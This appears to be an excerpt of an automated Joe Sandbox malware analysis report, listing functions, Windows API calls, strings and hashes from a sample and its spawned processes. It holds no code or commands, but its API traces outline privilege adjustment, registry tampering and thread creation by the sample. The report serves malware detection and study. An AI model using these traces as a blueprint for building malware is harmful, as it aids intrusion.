Opcode Fuzzy Hash: 333bb3ac59cdfea4d24e70ffe9760a1aaa966e5dc291af53cb41c3bf86d3f783
Instruction Fuzzy Hash: 16F06231B5990A4FDB94E65CD0917A5B3D2FF98350F505179D10DC728ADD78E8428781

Function 00007FF848E2558B Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2446471735.00007FF848E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e20000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eafd1cb7aa3c5fb41c6cfd5d547f685aafa0086ba079903694ffd71a769fb7c8
Instruction ID: ab2c656f88763487cfa9280ae3157182f2d867aaf89dc81971f9a148750d66ac
Opcode Fuzzy Hash: eafd1cb7aa3c5fb41c6cfd5d547f685aafa0086ba079903694ffd71a769fb7c8
Instruction Fuzzy Hash: 53F0D47052CF499FDA84EF1CC88592A7BF1FFA9781F50082EE049C72A0CB31E8458B02

Function 00007FF848AD1BBB Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2434942812.00007FF848AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d558a721978ba3ab8bbe4337aa5000c25845becd52cfb56e53021978749473
Instruction ID: de518834e77ed70a8b34ef3a4bf0a83f8de814bdca36c9dccb30dfdb3dbd69cb
Opcode Fuzzy Hash: 61d558a721978ba3ab8bbe4337aa5000c25845becd52cfb56e53021978749473
Instruction Fuzzy Hash: 30F0A93061560D8FD744EF28C804A9233A1FB09304F4000AAE808CB282DB7AE9A1CBA1

Function 00007FF848AD4828 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2434942812.00007FF848AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d91b644c6f488b074719100525377716cced16ea2f62d429b7159bce068729cd
Instruction ID: 73231816db54eb063c8c45cdbba5c397ff1065594af881269b2d480b37fa576e
Opcode Fuzzy Hash: d91b644c6f488b074719100525377716cced16ea2f62d429b7159bce068729cd
Instruction Fuzzy Hash: 24E0C210E5F5860EEA98F239185F2B819C2EF91280F8845BCD40CC22C2EDCE9880892B

Function 00007FF848AD7CA9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2434942812.00007FF848AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ea11715c4b51a36de0716c0003ad224d3b92c01a0a5c1fd1d518f7859a09a8
Instruction ID: b2e0eb7dbfecc01c7a7ab1cad02bafe7625097203ff542ea0b7b24d4ba578394
Opcode Fuzzy Hash: 19ea11715c4b51a36de0716c0003ad224d3b92c01a0a5c1fd1d518f7859a09a8
Instruction Fuzzy Hash: A6E08CA184F3E01FCB43A379846E4D5BFA09E0B22134901EED1C6CF1A3D259044AC742

Function 00007FF848AD6760 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2434942812.00007FF848AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682701ed291eadc54f6a8c405c689e51de7624ccdada40b6a691292f6ce02ddc
Instruction ID: 1d698d11f478a633e69289f88685e07a21db8a2ee834d71fb2803586b0658b16
Opcode Fuzzy Hash: 682701ed291eadc54f6a8c405c689e51de7624ccdada40b6a691292f6ce02ddc
Instruction Fuzzy Hash: 7FB01211C1913909E704FAC9B9474F873C08B503D1F010865EC04CD1C3D59D52E246BA

Analysis Process: system64x.exePID: 6188, Parent PID: 612COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	1767
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF762441160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF762441156), ref: 00007FF7624411A5
_amsg_exit.MSVCRT ref: 00007FF7624411CC
_initterm.MSVCRT ref: 00007FF76244120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF762441156), ref: 00007FF76244124E
malloc.MSVCRT(?,?,?,00007FF762441156), ref: 00007FF76244127E
strlen.MSVCRT ref: 00007FF7624412A4
malloc.MSVCRT(?,?,?,00007FF762441156), ref: 00007FF7624412B0
memcpy.MSVCRT ref: 00007FF7624412C3
_cexit.MSVCRT ref: 00007FF76244132D

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: c996e7a35bf803568ca43188fa743fd5e2d0011960c1ad381c257ca82b16660a
Instruction ID: aec390b347d325cfd779a5552e7f76f4da732c4c6f2b63f6d36a239ad3089e28
Opcode Fuzzy Hash: c996e7a35bf803568ca43188fa743fd5e2d0011960c1ad381c257ca82b16660a
Instruction Fuzzy Hash: DF514C31A19646C5FE91BB15E950379ABA2FF48780FC48031C90D977A2DFACBC59C760

Function 00007FF762441394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCloseObjectAuditAlarm.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF762441156), ref: 00007FF7624413F7

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: AlarmAuditCloseObject
String ID:
API String ID: 2871759311-0
Opcode ID: 780e7118a6cfb6d36c84ad4db31f8807fd0b8417d9b6a87ee28a6c59f42cfa84
Instruction ID: 4c600914615dd10df9b5a087d1ded2f7018fd2782cf10b635c997d03dfdd2b9c
Opcode Fuzzy Hash: 780e7118a6cfb6d36c84ad4db31f8807fd0b8417d9b6a87ee28a6c59f42cfa84
Instruction Fuzzy Hash: 62F0C971D09B45C2DA54EB51F85042EBB60FB48385B404435E99C43725DFBCE854CF60

Non-executed Functions

Function 00007FF762443350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7624433B2
memset.MSVCRT ref: 00007FF762443445
wcscpy.MSVCRT ref: 00007FF76244349D
wcscat.MSVCRT ref: 00007FF7624434A8
wcslen.MSVCRT ref: 00007FF7624434B9
memset.MSVCRT ref: 00007FF7624435D4
wcscpy.MSVCRT ref: 00007FF762443635
wcscat.MSVCRT ref: 00007FF762443640
wcslen.MSVCRT ref: 00007FF762443654

Strings

@, xrefs: 00007FF762443698
, xrefs: 00007FF7624436DD
@, xrefs: 00007FF7624434F1
0, xrefs: 00007FF7624434E6
0, xrefs: 00007FF76244368D

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 1ebfceb6ccbc61bfdc6d1d73518e072520c38c1920a0aba60a62dff29e637d97
Instruction ID: 14a2121c81449dda447dfdb37487bd833b50a17993be9acc7c092749a90725ac
Opcode Fuzzy Hash: 1ebfceb6ccbc61bfdc6d1d73518e072520c38c1920a0aba60a62dff29e637d97
Instruction Fuzzy Hash: FEB1C32190C6C2C5FBA1AB14E4453FAFBA1FF80744F944235EA8C42AA5DFBDE549CB50

Function 00007FF762442690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF762442795
memset.MSVCRT ref: 00007FF762442865
wcscpy.MSVCRT ref: 00007FF7624428CE
wcscat.MSVCRT ref: 00007FF7624428D9
wcslen.MSVCRT ref: 00007FF7624428E1
wcslen.MSVCRT ref: 00007FF7624428F6
wcslen.MSVCRT ref: 00007FF76244296D
wcslen.MSVCRT ref: 00007FF7624429E8

Strings

`, xrefs: 00007FF762442B91
X, xrefs: 00007FF762442B79
0, xrefs: 00007FF76244279A

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 8dd9b4d9794abecbbce3b974b874b08a77c89a1688d8793b7a9d9c155a3acde6
Instruction ID: e7442feb45efff10903a91c90b4f7da95675dfa82c5c679b813789651da8d5ed
Opcode Fuzzy Hash: 8dd9b4d9794abecbbce3b974b874b08a77c89a1688d8793b7a9d9c155a3acde6
Instruction Fuzzy Hash: 5A02A522908BC5C1EBA0DB15E8443AABBA1FB85794F844335DA9C43BE5DFBCE548C750

Function 00007FF762441BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF76244A694,00007FF76244A694,?,?,00007FF762440000,?,00007FF762441991), ref: 00007FF762441C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF76244A694,00007FF76244A694,?,?,00007FF762440000,?,00007FF762441991), ref: 00007FF762441CC7
memcpy.MSVCRT ref: 00007FF762441CE0
GetLastError.KERNEL32(?,?,?,?,00007FF76244A694,00007FF76244A694,?,?,00007FF762440000,?,00007FF762441991), ref: 00007FF762441D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF762441D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF762441D17
Address %p has no image-section, xrefs: 00007FF762441CF4

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 8a554a6fa389011197ec1d316fb9bfbcb4cc07135e3b9ec9b47a0c356bf0b17d
Instruction ID: e186b1fab2b2673d6d16ae1e8d2d2d3b4b3ac9d79055f46793f926b25d8599ab
Opcode Fuzzy Hash: 8a554a6fa389011197ec1d316fb9bfbcb4cc07135e3b9ec9b47a0c356bf0b17d
Instruction Fuzzy Hash: 2441A4B1A08A42C1FE90EB45D8946B8AB61EF84BC4F954132CE0D477A1DFBCE959D320

Function 00007FF7624438B0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7624438DB
wcscpy.MSVCRT ref: 00007FF76244393C
wcscat.MSVCRT ref: 00007FF762443947
wcslen.MSVCRT ref: 00007FF762443958

Strings

@, xrefs: 00007FF762443993
, xrefs: 00007FF7624439C1
0, xrefs: 00007FF762443988

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID: $0$@
API String ID: 468205783-2347541974
Opcode ID: 659bee40769b99f3727e1d647f561d414f9a26e08f9d5cb18db75b3f823b1ed2
Instruction ID: 3d86307f4ad32fa140ff18cf0e92d883eb8a9c8b7f025a3c9baac62d85ba0320
Opcode Fuzzy Hash: 659bee40769b99f3727e1d647f561d414f9a26e08f9d5cb18db75b3f823b1ed2
Instruction Fuzzy Hash: 8661702191C6C1C5FB61AB14E4853ABFBA1EBD4394F940231EA8C43AA5EFBDD549CB10

Function 00007FF762442104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF762442118
TlsGetValue.KERNEL32 ref: 00007FF76244214F
GetLastError.KERNEL32 ref: 00007FF762442154
LeaveCriticalSection.KERNEL32 ref: 00007FF762442212
free.MSVCRT ref: 00007FF762442234
DeleteCriticalSection.KERNEL32 ref: 00007FF76244225D

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: b536a55527d214355ccdc22c4662103ecafd3a57f3d1ce3f70d4549eef9b577b
Instruction ID: 2028ca60fd8483e9f58fa18b87d19097d0f6fda7e708795c45529ad8b2f4e9ad
Opcode Fuzzy Hash: b536a55527d214355ccdc22c4662103ecafd3a57f3d1ce3f70d4549eef9b577b
Instruction Fuzzy Hash: B121E420A19912C1FE95EB01A990335A662FF44B91F880131CA0D9BAA4DFACFC49C360

Function 00007FF762441E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF762441E27

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 81cc92ec2fa6e04c40e525b18e1cc1ff4a5f4b230223796d890c278b07bd10c2
Instruction ID: ef36efc3888ed83aa0e695d9297eec9b5409c828ccf551cf238b814a733b1be1
Opcode Fuzzy Hash: 81cc92ec2fa6e04c40e525b18e1cc1ff4a5f4b230223796d890c278b07bd10c2
Instruction Fuzzy Hash: 3C21B021F0D106C1FEF476149A803799981DF887A4FA48631DE0E433D4DEECAC9BC261

Function 00007FF762441880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF762441247), ref: 00007FF7624419F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF762441B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF762441B8B

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: f55d23e6802c9323605da89ae8314c5a5c300cb13031396fec444b8fb4cb03df
Instruction ID: b0d08b4ade2a55959220eb5db7916ea43317a779207f0e41d7460a512851f2c7
Opcode Fuzzy Hash: f55d23e6802c9323605da89ae8314c5a5c300cb13031396fec444b8fb4cb03df
Instruction Fuzzy Hash: 2D518031F08546D6EF90EB25D9407B4AB62FB08B98F848131D92C07795CFBDE899D720

Function 00007FF762441800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF76244185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF76244184D
Unknown error, xrefs: 00007FF762441824

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 6dc62383441ec21015d1a93eb8b73b3a2626f1b89f937b38c1cf0d1080ec3dd9
Instruction ID: cb85885ab14fced4eb582f61079e4c4b77de9d321d6bfeb7acf2f0b49ff02e89
Opcode Fuzzy Hash: 6dc62383441ec21015d1a93eb8b73b3a2626f1b89f937b38c1cf0d1080ec3dd9
Instruction Fuzzy Hash: 10F0C221E08A85C2FA91BB24AA410B9E761EB593C1F80D231DE4D97651DF6CE986C310

Function 00007FF76244219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7624421B2
TlsGetValue.KERNEL32 ref: 00007FF7624421EB
GetLastError.KERNEL32 ref: 00007FF7624421F0
LeaveCriticalSection.KERNEL32 ref: 00007FF76244226C

Memory Dump Source

Source File: 00000003.00000002.2409798957.00007FF762441000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF762440000, based on PE: true

Associated: 00000003.00000002.2409767536.00007FF762440000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409831307.00007FF762449000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409857534.00007FF76244B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2409888678.00007FF76244C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410118026.00007FF7626C8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2410194170.00007FF7626FF000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff762440000_system64x.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: d38a7a66502803ee60ea24eddf2a71f1e95afdba96137525794505a2f4712398
Instruction ID: 5c9012b8a6336e9944131173eca247f94e0f7620e7266c54f288cba5a812e98a
Opcode Fuzzy Hash: d38a7a66502803ee60ea24eddf2a71f1e95afdba96137525794505a2f4712398
Instruction Fuzzy Hash: 06011621A09612C1FEC6EB01AE44234E621FF04B91FC80031CA0D97EA4DFACFD99C320

Analysis Process: dialer.exePID: 3876, Parent PID: 6188COMMON

Execution Graph

Execution Coverage:	46.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.1%
Total number of Nodes:	227
Total number of Limit Nodes:	24

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpi.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: FindCloseChangeNotification.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceA.KERNEL32 ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNEL32 ref: 0000000140002511

Strings

